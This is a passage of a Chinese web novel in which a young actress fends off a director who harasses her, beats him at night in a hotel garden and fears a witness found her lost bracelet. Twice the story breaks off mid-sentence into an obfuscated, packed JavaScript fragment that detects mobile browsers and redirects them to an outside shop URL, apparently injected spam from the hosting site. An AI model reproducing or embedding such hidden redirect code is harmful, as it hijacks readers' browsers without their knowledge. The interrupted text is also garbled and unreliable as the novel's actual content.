而杨威的八卦就应当被放在表格的前几行,被标红,被加粗,被放大字号,被大书特书。 因为那是个惯会骚扰小演员的王八蛋,而小演员的范围,呃……不论男女。 据秦小凡所说,杨威这几年十分风光无两,行事作风也极为大胆,但凡看准了谁,就一定得想方设法地拿住对方把柄,将其搞到手,不然绝不肯罢休。 据说杨威上一部戏的某男演员中途被换,就是因为誓死不从,被杨威联合制片人给逼走的,直到现在那位男演员的风言风语还时不时在网上传播。 至于幕后黑手……不言而喻。 时扬还没见过他的真人,但在秦小凡极近鄙视的描述中,大概能勾勒出他的几分样子。 一米七不到的个头,瘦瘦小小。因为年纪到了,头顶秃得厉害,索性剃了个光头,跟白炽灯一样,在哪里都特别显眼。长了对眯眯眼,平时黯淡无光,只有在见了精彩的戏或者漂亮的演员时才费力地从里面射出几缕光亮,力证那两个洞真的是存在的。 虽没见过杨威,但时扬已对他印象极为不佳,但毕竟没见过他真身,对这些也是半信半疑。 那天聊得太晚,时扬正打算说晚安,微信那头秦小凡发过来一句话。 【话说回来,杨威联合的那个制片人,跟你有点关系的。】 【?】 【就是你前男友现在的女朋友,木制片。】 好了,牵扯上木某人了,那就全信不疑。 等当晚到了饭局上见到那位导演的真身,时扬才后知后觉并暗中称赞:秦小凡的用词跟刀子一样,尖锐深刻得很。 不过这会儿,时扬只能按下心头的腹诽,听着白晓花对她的嘱咐默不作声。 - 到了饭局上,杨威和白晓花或许真是老乡见老乡,立马就无话不说地开始聊起各自最近的私事,让时扬本就有点不自在的表情得了个松快的时机。 她扯了个看着还不很僵硬的微笑,恭恭敬敬地跟在白晓花的身边,全程赔笑。 她看着十分乖巧听话,完全按照白晓花嘱咐来的,可也误打误撞地合了杨威的意,因为时扬总觉得席间那人不清不楚地偷偷看自己。 她微笑着回望回去,只见那对绿豆大小的洞里微不可查地射出了一点光…… 时扬想起秦小凡讲的八卦,心里顿时“咯噔”一下。 完了……不会是被这王八羔子看上了吧…… 一个冉冉升起的新星导演,一个暂时落寞了的经纪人,一个看似上进实则背后咸鱼的演员,三人各怀心思,将各自的小九九隐藏在推杯换盏之间,融洽而默契地饮下。 当晚谁都没有说得太多,好像真是为了两个多年没有相聚的老朋友攒的局,但一切都在不言中。 可这会儿,杨威突然对着时扬点了点头,满含深意道:“老咯老咯,我俩都老咯,长江后浪推前浪,不比年轻人,只要抓住了机会,注定未来可期……” 明明在跟白晓花说话,却又看着时扬的方向。时扬警铃大作,扭头一看,白晓花已经举着酒杯,喝得红了脸。 她正打算拍一拍白晓花,让她别喝了,对面的白炽灯男人向她敬了一杯酒,时扬忙扯了点笑意,忍着萦绕在鼻腔的酒精味,浅浅抿了一小口。 贱东西,可期你二大爷,时扬将脸藏在酒杯后,暗骂道。 时扬前些年跟着她的室友兰一一学会了喝酒,但不常喝,所以酒量不算大,不过她是知道自己酒量的,因为那位粗中有细的室友害怕她吃亏,私下里给她试验过。 所以等到杨威给她倒第三杯酒的时候,时扬趁着那对眯眯眼闭眼饮酒的功夫,偷偷把杯中的酒倒进了汤里。 一顿饭下来,杨威和白晓花好像都醉得不轻。 酒壮怂人胆,醉后接着就是出格…… 4. 色心不死 “我先回北京了啊,你在这儿照顾好自己,有事儿记得给我打电话。” 白晓花说着,将手里的一件衣服裹成一团,随手塞进了黑色旅行包里。 刚从酒局一出来,本来醉得站都站不起来的白晓花一上车就清醒了,这会儿动作利索,要不是身上还有酒味,谁也看不出她刚才一杯又一杯的下肚。 “你,你好歹叠一下啊……”时扬嘴角不由得一抽。 “叠什么叠,叠了也得打开穿,不叠也得打开穿,都一样。” 时扬讪讪收回打算帮忙的手,抿了抿嘴角,“现在都凌晨一点多了,要不明天再走吧?” 白晓花又往包里胡乱塞了一条裤子,头也没抬,“不行,我约了人,明天走来不及了。总之,有什么拿不准的千万要给我打电话,我……” “知道啦,知道啦!你放心走吧!” 时扬状似不舍,实则心里欢喜地把白晓花送出酒店后,连着打了好几个呵欠,她拢紧了身上的牛仔外套,正要回房间休息,兜里的手机突然响了起来。 “小时啊,实在是不好意思,这个点儿了还给你打电话。”电话里杨威的声音有些断断续续,又有些犹豫不决,声音里还飘荡着几分醉意。 “没事儿的,我现在正送小花姐出门,正好也没睡。杨导您有什么事儿吗?” 电话那头的杨威听了,顿时来了精神头,“小花现在走了?这个点了还有安排啊?” “小花姐您知道的,是个工作狂嘛。您……” “嗐,我真是不好意思,想要麻烦你一个事儿。刚才我有点喝多了,不知道把我的钱包落在哪儿了,里面也没多少钱,麻烦就麻烦在我身份证放里面了。所以你能不能现在出门,帮我找一找……” “现,现在?”时扬心头警铃大作,结合着秦小凡说的话,还有饭桌上自己的观察,这老色鬼一定没安什么好心。 杨威也不强人所难,只埋怨自己。 “我也知道太不合适了,毕竟都凌晨一两点了,你又是个姑娘,大晚上的。我刚才回去找了,没找到,想着可能在路上丢了,多个人找到的机会大些……哎,算了吧,都怪我自己,年纪大了,脑子不中用,什么篓子都能捅出来。” “可能是丢在了路上?那、那我出来帮您找找吧。” 时扬本来非常抗拒,既不敢得罪杨威直接拒绝,又不敢真的马上答应下来,陷自己于不利。 但一听到去路上找,提起来的心就放下去一半,毕竟在大马路上,这人应该不敢做太出格的事情。 杨威住的酒店和时扬住的地方不太远,但出于安全考虑,时扬还是打了个车过去。 她赶到的时候,杨威正在酒店外的小花圃旁边弯着腰,用手机打了个光,看着好像真的在找东西。 时扬紧张的心算是彻底放下去。 远远地,杨威听到了一阵脚步声,然后从小花圃旁边站起身,用手机照向来人,一看真是时扬,他放松地嘿嘿一笑。 “小时啊,快来,帮我找找看,我记得你和小花之前送我回酒店的时候,我在这儿摔了一跤,应该是落在这儿了啊,怎么横竖都找不着……” 时扬几步上前,态度谦卑,有些尴尬,“您真是喝醉了,刚才您哪里是摔在这儿了,我们走的左边那条路。” 杨威顺着她手指指向的地方,猛然拍了拍自己白炽灯一样的脑袋,恍然大悟,“看我这脑子,酒精装多了,不清醒!” 他打着手机的光,十分着急地往另一条路走,时扬落后他几步,慢悠悠地跟在他身后。 棕黄色的皮质钱包随意地落在花坛的外围,头顶上路灯洒下的光正好照在上面,不偏不倚,两人一走近就看到了。 杨威握着钱包,失而复得,欢喜得欢呼出声,转过身看着时扬,摸了摸他的“白炽灯”,十分抱歉的模样。 “怪我怪我,喝点儿破酒就坏事儿,大半夜还连累你不能休息,你一个女孩子,呕——” 客气的话语被一阵呕吐声淹没,杨威胃里的酒精估计无辜挨了他一句谩骂,这会儿不乐意了,紧接着就折腾得他捂着肚子,趴在花坛旁边阵阵干呕。 一时间,浓烈的酒精味混合着消化到一半的食物味道,尽数飘散在空气中,难闻得时扬赶紧捂住鼻子。 狗东西,又菜又爱喝,时扬心中骂道。 看他难受得站不起来,时扬只好认命,憋着口气,一伸手打算上前扶住他,但一看他锃亮的脑袋,一下子清醒过来,又停了脚步。 她装出一副不知所措但是特别热心的样子,语气尤为关切,甚至还着急得跺了跺脚,但就是不采取实质性行动。 “杨,杨导,哎哟喂,您没事儿吧,是不是没休息好?既然钱包也找到了,我就不多耽误您休息,您赶紧回——” “没事,劳烦你扶我到旁边的长椅上坐一下,我缓缓。”杨威摆了摆手,捂着肚子,脸上的五官拧作一团,醉酒后红得跟猴子屁股一样的脸色也黑了。 这会儿酒劲上来了,他是真开始难受了,而不是装出来的。 本来一开始打电话给时扬,是他按捺不住他这颗蠢蠢欲动的色心,想着能聊几句,探探对方虚实。 要是落花有意,流水也有情,那就不必耽搁,正好今晚大家都喝了酒,顺势而为,也免得夜长梦多。 要是对方性子刚烈、不肯服从,那就……从长计议好了,反正他手段多的是。 结果无意间从时扬嘴里听到白晓花人走了,他大喜过望,这颗色心就彻底按捺不住。 他灵机一动,张嘴就扯了个谎,并提前把钱包放在了花坛旁边,等着鱼儿上钩。 结果鱼儿是来了,他这个钩出岔子了。 他也没想到这酒后劲这么大,刚才觉得一切都在他掌握之中,现在酒劲一起,突然让他没了分寸,也没了心思。 其实心思还是有的,借着酒后乱性的幌子,心思应该更大,所谓“酒后乱性”嘛,但醉了支棱不起来,任凭心思再大,也是有心无力。 时扬暗中唾了好几口,心里不停地骂他“贱人”、“老色批”,但面上不好直接撕破脸,只好默默扶着杨威到长椅上坐着,又被他扯着有些局促地坐在旁边。 杨威这会儿被打乱了计划,心里尤其不痛快,所以连着动作都粗鲁了,但侧头看着仍然防备着他的时扬,还是希望能努力一把。 毕竟……来日方长,今晚不行,不代表以后也不行。 - 两人正在暗暗较劲的时候,商文载从右边花圃旁的路上走过。 他接起电话,电话那头又是商文洛的声音,只是这次不再高亢,而是虚弱了。 “哥,你一会儿去药店买药的时候,记得——” “记得不给你买苦的药。” “另外,你要是路过商店,记得——” “记得给你买糖果。” “嘿嘿,你都记得啊,你知道我的嘛,我——” “你不吃苦。” 商文载摇着头挂了电话,几步走入夜色当中,一点儿没注意到身后不远处的两个人。 - “刚才听小花说你是江城人?” 长椅距离路灯有些遥远,昏暗的视野中,杨威一对淫邪的绿豆眼放肆地打量身边的时扬,上上下下,来来回回。 没等时扬说话,他继续道:“听说江城的女人性子豪爽火爆,今天见了你,才觉得太刻板印象,网上那些话说得不对极了。” 时扬不知道他葫芦里卖的什么药,实在不想搭理他,只嘿嘿一笑,没往下接他的话。 “小时在这边待久了,离家又远,家里人肯定很挂念吧?” 夜色之中,时扬嘴巴一撇,脸色也不加掩饰地黑了下来。 这话头一起,看杨威的姿态,没有半个小时不打算讲完。大半夜的,这老登贼心不死,都难受成这幅死样子了,还纠缠不放。 时扬仍然耐着性子回答:“嗐,家里人都习惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993118|193818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了——” “那倒也是,干咱们这行的,工作来了,几个月都不着家。别说你家在江城了,我家就在上海,坐高铁就几个小时,我不也两个月没回去了。 “上次也是,在外四个月才回家,一进门我两岁的儿子都差点不认识我了。说来也亏欠他们娘俩得很,尤其是孩子他妈,照顾小朋友的事全落在她身上了……” 杨威叹了口气,听着十分懊恼,俨然一个好父亲、好丈夫的形象。 这是烂男人、脏男人最爱用的招数,给自己立一个爱老婆爱孩子的形象,以打消小姑娘的戒心和防备,进而用尽花言巧语欺骗。 刚出社会的小姑娘没多少社会经验,听了这话可能还真的会松懈下来,只觉得一个有家庭责任感的男人,为人一定也不差。 可她时扬不是刚出社会的人,摸爬滚打这些年,虽没混出个什么名堂,但这招儿对她没用。 她表面看着并不精明,但是心里门清。 这会儿被他纠缠着不能早早回酒店休息,脑子嗡嗡的,心里早就把他祖宗十八代都骂了千百遍,不打人都是好的,更别说上套。 时扬嘴上还是接着应付:“嫂子是您的贤内助,您在外事业有成,她就算累,心里肯定也体谅。” 杨威好像很高兴听她这话,得意洋洋地说:“是呀,我老婆性子温柔体贴,善解人意,跟小时你的性格还有几分相似的。” 杨威说到这里,突然激动得转向时扬,看着她的脸说:“啧啧啧,现在细细一看,你跟我老婆十年前的模样都有点相似。” 呵呵,相似,时扬听得想死。 时扬听出了他暗戳戳的心思,当下就想翻身而起,一脚把身边的醉鬼踹到长椅底下,但想到白晓花临走之前的嘱咐,还是恨恨地忍住了。 只是她忍住了,对方还没想放过她。 杨威色心不死,加上酒精的后劲彻底上头,看时扬没走人,那只不安分的手悄悄摸上了时扬的大腿,停留一阵也不拿开。 那只手像烙铁一样,烫得时扬想要赶紧跳开,也让她心头的怒意聚集,像几乎喷薄而出的火山岩浆。 她揣在牛仔外套兜里的双手已经暗暗使劲,握成了拳头。 这时杨威又转了话题。 “我跟小花认识很多年了,她那人,个性强,从不轻易求人。这次肯为了你拜托到我这儿,说明她是看重你的。” 时扬揣着的拳头一下无力地放开,“小花姐是个好人,对她手底下的艺人都挺好的。” “也不全是,你得合了她的眼缘,她才满心满眼地对你好,她眼光很好的,说明你有她看重的潜力。所以啊……小时你更得把握住机会,不能让她失望——” “答对问题亲一下,这就是我的奖励……” 这时,时扬兜里的手机恰好响了起来,她满脸抱歉地站起身,不停地弯腰道歉,“抱歉抱歉,杨导,我接个电话。” 她往旁边走了几步,拿出手机,按停APP的播放键,而后假意放在耳边,安静地听着。 “什么?!我马上过来!” 时扬“接电话”的功夫,杨威又捂着肚子倚在长椅的扶手上干呕着,他一抬头,时扬步履匆匆地过来了,神情急切。 “杨导,真是不好意思,我得赶紧回酒店了。我房间的防火警报器故障了,这会儿房间里到处都是水,把我行李淹了,酒店工作人员通知我赶紧回去处理。” 杨威愣了愣,还没来得及做出反应,时扬已经扶起他的手,“我看您实在难受,我把您送到酒店门口,让工作人员送您回房间吧?” 都找到了这样的理由,就算是假的,也不好揭穿。 杨威冷笑一声,只好作罢,“算了,你赶紧回去吧,不用管我。我再在这儿坐会儿,正好吹吹风清醒脑子,过会儿我自己回去。” 时扬又扶着他坐回了长椅上,正打算松手,杨威矮瘦却有力的身体往旁边一倒。 时扬被他借力扯到胸前…… 5. 暴打白炽灯 时扬倒在他身上,耳畔是一阵阵剧烈得令人作呕的喘息,鼻尖萦绕着酒精和食物残渣的恶臭,她苦着脸,腾地站起来跳开,离这下三滥玩意儿更远。 “那杨导我就先回去了啊。”时扬挤出个不自然的笑来。 没等杨威说话,时扬转身就走,在扭头的一瞬间,脸上的笑意消失得干干净净,冷漠得快要掉下冰碴子。 她心头按捺了一整晚的火,好像怎么也按捺不住了…… - “咣——” 商文载拎着一袋糖果和给商文洛买的药,正往酒店门口走,突然听见左边的小花园里传来一声尖锐的响动,在静谧的凌晨显得尤为刺耳。 他转身,远远地朝着那处看了看,小花园又恢复了安静,就没再多停留,提步继续往前走。 “咣——” 可没等他走出两步,小花园里的动静又响了起来。 商文载不是个好奇心重的人,按照他一直以来的性格,听见什么声音,见到什么事情,最多也就停一停脚步,然后若无其事地离开。 但他今晚不知道是不是见鬼了,本都往前走的步子又撤了回来,鬼使神差地换了路,径直往左边小花园走。 离得越近,听得越清楚,那声音一阵一阵,时而高,时而低,杂乱却持续不断。 但不是类似于敲击金属的清脆声音,而是重物砸在皮肉上的声音,闷闷的,沉沉的,听着都觉得疼。 商文载走得慢,脚步轻,所以走到距离小花园几米的地方,里面的人也没发现。 借着一点点路灯微弱的灯光,他隐约看清楚了,里面有两个人:一个打人的人,一个挨打的人。 谁打人,谁挨打,跟他没什么关系,所以他站在几米开外的梧桐树后,一手拎着给弟弟买的糖果和药,一手插进裤兜,面无表情地看着里面的情景。 休息了几个呼吸的功夫,时扬手里的木条又抡了起来。 这回她长了教训,转了转木条的方向,刻意避开了顶部刺出钉子的那面,恨恨地继续往杨威身上使劲招呼。 毕竟她只是气不过被骚扰,而不是想要杀人。 最开始的那一棍她没仔细看,好巧不巧,木条上面竟然有一颗钉子,还十分凑巧地随着她挥舞的动作打在了杨威的屁股上。 钉子穿透衣物,又刺进皮肉,杨威顿时发出杀猪似的惨叫,叫声刺过空气,差点引来了酒店门口昏昏欲睡的保安。 他不知道挨了谁的打,虽然醉了,但他也不是个傻子,也知道痛,挨打了当然要反抗。 不过他看不清到底是个什么光景,因为脑袋上不知道被谁套了个黑色的塑料袋,脖子后还被打了个死结,袋子扯又扯不烂,死结打又打不开。 他无能狂怒,正要跳起来,左脚绊住右脚,一个趔趄摔在了长椅里,大脸猛地扑在金属横杠上,两道鼻血一下就被撞了出来,血腥味和他嘴里的酒精味、食物残渣味混在一起,在只有几个小小破洞的塑料袋里更加“浓烈醇厚”。 这个姿势他不喜欢,但是时扬很喜欢,因为屁股露在上面,正好方便她下手。 亲者痛,仇者快,仇者这会儿非常快乐,快乐得一棍又一棍地往他身上招呼。 杨威这会儿不知道是醉死过去了,还是痛得晕了过去,已经不再痛苦地发出闷哼,要不是他装了酒精、现在硕大如同怀胎十月的肚子仍然在起伏,时扬还以为他死掉了。 “死阳痿,狗东西,叫你骚扰我!叫你骚扰我!看我不打死你!” “咣——” 夜色太黑,偶然没看准,手里的木条砸在旁边的金属长椅上,发出一声尖锐的响动,暂时压过了时扬的咒骂。 直到第四次不小心打到金属椅子上,又发出一声锐响,吓得时扬一阵机灵,这时候她才觉得好累好累…… 应付了这色心大起的白炽灯一晚上,现在又干了点体力活,身体累,心也累。 算了,心口的火气也出了,别打得太狠。 时扬小心放下隔着牛仔外套袖子握住的木条,将它丢在长椅的后边,又从花坛旁边拿过她顺来的一袋塑料瓶,放在杨威的脚边。 刚走出去两步,时扬忽地想到什么,又不放心地折回来。 她弯下身体把装塑料瓶的袋子打开,随意地倒出一半,任由里面花花绿绿的瓶子四散在地。 她左看右看,没看到有人过来,才放心地拢紧了身上的牛仔外套。 时扬才安心地走出小花园,刚绕过梧桐树,突然撞上一对似笑非笑的眼睛…… “啊——” 时扬被隐藏在暗处的人吓得心惊胆颤,没忍住惊呼出声,又害怕引来别人,赶紧捂住了嘴巴。 她咽了咽口水,紧张得心脏快要跳出胸膛,拢着牛仔外套的手指握到泛白,还有点隐隐颤抖,刚才走得自信又嘚瑟的脚步也有些虚浮。 她抬头望向对方的双眼,里面波澜不惊,看她跟看花看草没什么分别,好像刚才并未目睹一场暴行。 “你……” 对方说话了,声音低沉,听不出情绪,却犹如一记闷棍,一瞬间敲醒了时扬的意识。 此时不跑,更待何时? 时扬攥住衣襟的十指蓦地张开,往上抓起牛仔外套的衣领,立起来,死死捂住自己下半张脸,只露出一对故作镇定、实则吓得瞪大的眼睛,然后就在商文载似笑非笑的目光中将身一扭,以百米冲刺的速度跑了! “你……好像有什么东西落下了。” 商文载的话还没说完,就看到这又怂又虎的女人跑了个没影。 小花园里杨威费力的喘息声还在持续,商文载犹豫了一下,本不想生是非,不知惹了什么邪祟一般,还是提步往里面走。 借着偶尔疾驰而过的车的灯光,他站在长椅旁,盯着落在杨威身前、地砖上的东西。 那是时扬挥舞木棍时从她手上挥落的,光线太暗,看不清楚到底是什么,当时只是抛物线一样随着她的动作飞了出来。 商文载将它捡起来,拿着它走出了小花坛。 借着有些微弱的路灯灯光,才终于看清了:一条红绳,上面串了个琥珀色的小脚,看着像是牛角材质,小脚两边各串了一颗黄金珠子。 商文载掂了掂串子,笑了笑,而后走到花圃侧边的垃圾桶前边,站了片刻。 手一扬,正打算扔了,手中的牛角配饰温温润润的触感让他停住了动作。 他摊开手,牛角配饰静静躺在他手掌心。 似曾相识…… 商文载犹疑地捻着红绳,走出去几步,将整串手链放在微弱的路灯底下打量。 看了一会儿,灯光下的手链终于不再晃动,他的心却开始晃动。 商文载忽然想起什么,瞳孔瞪大,猛地往时扬离开的方向转身一望。 早就没了人影…… - 商文载回到房间的时候,他弟弟已经困得睡了过去。 听见房门的动静,商文洛揉着眼睛坐了起来,迷迷糊糊,直到看到进来的真是他哥,才有些费力地从床上爬起来。 “哥,你怎么才回来啊?”调子拉的很长,语气里充斥着明显的不满,一对眼珠瞪着他。 商文载顿时想到那对露在衣领外边、故作镇定的杏眼,嘴角微微扯动,没回答商文洛的问题。 “喏,你的药。”他把手里的袋子递过去。 “我的——”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993119|193818||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你的糖果也在里面。” 商文载微不可查地叹了口气,转身找了个马克杯,又接了半杯热水,兑了点凉水,直到感觉温度合适了,才握着杯子走到床边。 “里面有几包冲剂,把药倒在里……” 后半句话还没说出来,就见到商文洛一边拧着眉头,一边撕开叠起来的三包冲剂的包装袋,在他哥愣怔的目光中,十分迅速地一股脑儿将药倒进了嘴里,然后跺了跺脚,接过他哥手里的马克杯,就了两口水,三两下喝进了嘴。 “啊——糖——” 商文洛又蹦跶起来,跳到床头柜旁,狠狠塞了几颗糖到嘴里。 动作一气呵成,忙中带乱,看得商文载一愣一愣的。 商文洛嘴里含着没化开的糖果,叽咕叽咕地炫耀:“嘿嘿,哥,我聪明吧,这样就不用洗杯子了。” “……嗯,聪明。” “不过你刚才干什么去了?买个药这么久。” 商文载收回目光,信口胡诌:“不熟悉路,走错了,所以多花了点时间。” “我说呢,我都等得睡着了。其实我身体很好的,都不用吃药,睡一晚上就好了。”商文洛嚼碎了嘴里的糖,发出“嘎嘣”一声。 商文载坐在沙发上,随手解下手腕上的手表,又扭头看向仰躺在床上抖脚的弟弟,“你身体好,你来这儿不到一个晚上就着凉?” “我……” “你什么你,多大的人了,不会照顾自己。以后要是我不在,你——” 商文洛顿时黑了脸,眉头皱得能夹死一只蚊子,腾的一声从床上又翻起来,像一只跳出水塘的青蛙。 “哥你说什么呢!你最近两年到底怎么了,老是说这种话!什么在不在的,你不在了你去哪儿,难不成要上天?” 商文载抿了抿嘴角,没说话,看得商文洛更加狐疑。 “你……是不是得了什么很严重的病?”商文洛一边猜测,一边就信了,张大嘴巴,“哥,你、你到底……” “别瞎猜。我没什么意思,就是希望你成熟点,能好好照顾自己。” “嗐!那就行!”商文洛重新躺回了床上,然后又想到些什么,再次扑腾起来,“但是以后不许说这种话了,每次都吓我个半死!再敢吓我,我就回家告诉爷爷奶奶,让他俩又给你喂符水!” “……好。” - 凌晨四点多的春夜,空气里氤氲满了寒凉的空气,流浪汉裹紧捡来的灯芯绒外套,优哉游哉地晃荡,嘴里哼着听不出调子的曲子。 “阳光~多灿烂~生活~多艰难~” 他踩着塑料拖鞋,十根脏兮兮的脚趾露在外面,头发乱成鸡窝,两条腿在空荡荡的裤腿里晃荡,看着果然生活艰难。 流浪汉抓着一装满塑料瓶的袋子,袋子与水泥地砖摩擦,滋啦滋啦,在深夜无人的街头发出烦人的响动声。 生活艰难,难了又难;关关难过,关关不过。 刚走到一处垃圾桶前面,流浪汉不可置信地瞪大了眼睛,随即像点燃了的炮仗,原地炸了起来。 “谁啊!谁特么偷我塑料瓶子了?!”他四处张望,深夜的街头无人回应,只有他越来越激动的谩骂声,“连我的塑料瓶子都特么敢偷?你活腻歪了!要让我抓到了,看我不抽——” 视线被一点青绿色吸引住,流浪汉心脏短暂一停,有些激动,又有些不敢相信。 他反应极快,噔噔蹬快步上前,蹲在垃圾桶前面,捡起那张纸币。 “嘿嘿。” 五十块钱被他利落地装进灯芯绒外套的内袋里,流浪汉摇头晃脑,拽着他的一袋子塑料瓶子继续唱着:“阳光~多灿烂~生活~多艰难~” 6. 我哥什么都会 第二天,新晋导演杨威深夜被打的消息在圈子里不胫而走。 时扬中午睡醒后,一打开手机就看到秦小凡给她发来的好几条微信。 她昨晚回到酒店的时候已经是凌晨快到四点。 都说“不做亏心事,不怕鬼敲门”,她偏偏做了,所以一整晚都在担心有人敲她的房门。 支着两只肿胀的眼睛瞪眼到早上六点,好不容易睡着了,又连着做了好几个梦,折磨得她睡了比没睡还难受。 时扬站在镜子前,看着自己眼底下一大片一大片的乌青,叹了好几口气。 昨晚她那些梦就没消停过,做得乱七八糟、颠三倒四。 一会儿梦到白晓花叉着腰,大声质问她,为什么不提前通气,为什么一个人就敢大晚上赴约,最后竟然还胆子大到敢打人。 时扬正要解释,白晓花忽然变成一盆按了按钮就会跳舞的塑料花,花朵中央却是她室友兰一一的模样,在她跟前扭起腰来,嘴里咿呀呀,说些她听不懂的外国话…… 一会儿梦到杨威顶着两只被她打得乌青的熊猫眼,小媳妇儿姿态似地站在两个高大严厉的民警中间,三个人“咣当”一声踢开她的房门。 时扬连滚带爬地穿着睡衣迎上去,却见杨威穿着一身莲花瓣衣摆的裙子,脚下踩着两个风火轮,脖子上还戴了个金黄色的圈儿,浑身发抖地指着她,欢快地唱歌,“是她~是她~就是她~” 时扬狂甩头,使劲摆手否认,但两个警察却不见了,杨威两边,一左一右站着两个黑猫警长,两猫举着枪,义正辞严地唱:“眼睛瞪得像铜铃,射出闪电般的机灵~” 时扬猛地从床上起身,深深吸了一口气,像是溺水的无助者终于攥住一条绳子,好歹是从荒诞的梦里醒过来了。 她原以为这些梦做到这里就算结束了,可谁想到它们只是换了个风格,仍然继续折磨她。 梦的下半程开始了。 一会儿梦到缠绵病榻的妈妈微笑着看她,一只手握着她的手掌,一只手给她擦掉怎么也擦不干净的眼泪,“妈妈不能陪着宝宝了,以后在舅舅家要乖乖听舅舅的话。” 一会儿梦到一辆疾驰而过的车子把舅舅卷在车轮底下,她站在马路旁边,大声喊着哭着,双手奋力挥舞,但没人听到,也没人看到她。 下一秒,舅舅的鲜血从车轮底下喷溅而出,洒在她的白布鞋上,血液好像渗透了布料,脚面上温温的,热热的。 一会儿又梦到悬观外那个比当时的她大上几岁的男孩,梦到他狐疑探寻的目光,耳边依稀萦绕着他喜悲不定的话语 “你是谁?你……到底从哪里来?” 【睡醒了没?起床了吗?】 【怎么还不回我?我现在激动得抓耳挠腮的,快起床!】 【快起来啊!快快快!】 大概过了半个小时,见时扬还没回复,秦小凡憋不住心里的话,赶紧将她得到的小道消息编辑出来。 【知道吗,杨威那个老色鬼被人打了!】 时扬洗漱完,一打开微信就看到最后这条,顾不上往上面翻,她心脏狂跳,抖着手编辑了一条信息:【怎么回事?】 正要发出去,又咣咣全部删掉,重新写了一条:【啊???发生什么了?谁把他打了?】 秦小凡见对面的人醒了,顿时在化妆间里来了兴致。 【根据我的小道消息,杨威昨晚喝多了,在路边长椅上睡过去了。估计占了人家流浪汉睡觉的地方,所以挨了一顿打。】 【打得可狠了,屁股青一块紫一块的,没有一块儿好肉!那流浪汉估计也怕,连捡来的塑料瓶子都没要,直接跑了,现在都没找着人。】 时扬舔了舔干涩的嘴角,心想:何止青一块紫一块,上面还有几个钉子眼呢。 她搓了下眼睛,试探道:【杨威不追究吗难道?】 【被流浪汉打,很光荣吗?他脸都不要了?追究什么追究?据说,杨威还装得挺大度,跟人家警察说算了算了,都过得不容易,一个流浪汉而已,不要难为人家。估摸着他这会儿抱着他的白炽灯脑袋,恨得牙齿都咬碎了,嘿嘿!】 时扬的双手再不抖了,她解脱似地呼了口气,最后编辑道:【恶人自有恶人磨。】 正要发出去,又觉得不像话,干嘛说自己的不是,然后改成:【恶人自有好人磨。】 秦小凡赞同地回道:【可不是嘛,好人,大好人!】 一句话说得时扬心里暖洋洋的,嘴角扯得老高。 正在得意,白晓花一个电话打了过来。 “出事了。”白晓花语气凝重。 时扬顿了顿,假意不知道,“怎么了?出什么事了?” “杨威出事了,我昨晚给你谈好的戏得往后推迟,也有可能会黄。” 时扬握着手机,反倒安慰对方:“黄了就黄了嘛,昨晚杨威不是说了吗,我是年轻人,未来可期,等下一部戏——” “你都不好奇杨威出什么事了?” 时扬心里一咯噔,暗道不好,怎么忘记假装问一问了。 她还没问,白晓花自顾自道:“算了,不指望你,你连你自己的事情都不上心,你会管谁?” 时扬张了张嘴没出声,虽然不太赞同,又被她说得心服口服。 白晓花接着叮嘱她:“你出门要注意安全,影视城最近不太平,尤其是晚上,要是碰上流浪汉之类的,抢项链啊手链之类的都算好的,万一……” “我又不是高调的人,不爱戴那些——”时扬突然哑声。 手链……妈妈给的手链…… 白晓花的叮嘱和唾骂还在持续,时扬却再也听不进去了。 “反正你一个女生,在影视城那种乱七八糟的地方多小心点没错!他二大爷的,诸事不顺,谁啊到底,打杨威干什么?早不打,晚不打,偏偏快要开机的时候打……” 时扬睡意全无,浑身一机灵,猛地从小沙发上跳起来,在房间里地毯式地翻找。 卫生间里,卧室里,地毯下,床缝里……到处都找遍了,就是找不着。 她努力回想着,从昨晚的酒局一直想到杨威酒店外的小花坛,一个可怕的猜想浮现在她脑海里。 不会……不会是留在“犯罪现场”了吧…… 时扬倒抽一口凉气,嘴唇干涩得快要裂开,要是被杨威捡到了交给警察,那不是完蛋了? 或者,杨威对外说的不再追究,只是个为了放松她警惕性的障眼法,等到这阵风声过了,再打听到手链是她时扬的,到时候就直接拿着手链逼她就范…… 想要种种可能的后果,时扬的脑袋一下清醒过来。 不行,不行! 她得再去一趟小花坛,万一警察还没发现,她得赶紧去捡回来! 时扬随手抓了个外套穿上,火急火燎地就要往外冲,冲到门口,打开房门,她突然愣住了。 以什么理由去那里呢? 她又没在那里住,要是杨威早就怀疑她了,她再出现在“犯罪现场”,岂不是打草惊蛇? 时扬快速在脑子里过了两三秒,到底没有方寸大乱,“砰”地一声关上了房门,重新回到房间。 好在她在目前这部戏里只是个没有分量的小角色,这几天都没有她的戏份,暂时得了个喘息的时机。 一整个下午,时扬都在想着化解的办法,可越想越混乱,越想越容易吓着自己。 她一会儿自责于昨晚的冲动,一会儿又犹豫要不要干脆跟白晓花坦白,毕竟对方是她经纪人,她俩可是一根绳上的蚂蚱…… 一会儿担心东窗事发被警察发现,上门直接给她带走了。 一会儿又想到她妈妈那张苍白的脸,欲言又止的神情,那手链可是她妈妈留给她为数不多的东西…… 时扬卧在沙发里,暴躁地抓了抓头发,又想到昨晚出现在花坛外的陌生男人。 不好! 她紧张得无论如何也坐不住了,如果是那人报的警,那他就是目击证人! 昨晚小花坛里光线昏暗,那人到底看没看清楚她的脸……要是警察传唤她,那男人能不能当场把她指认出来…… 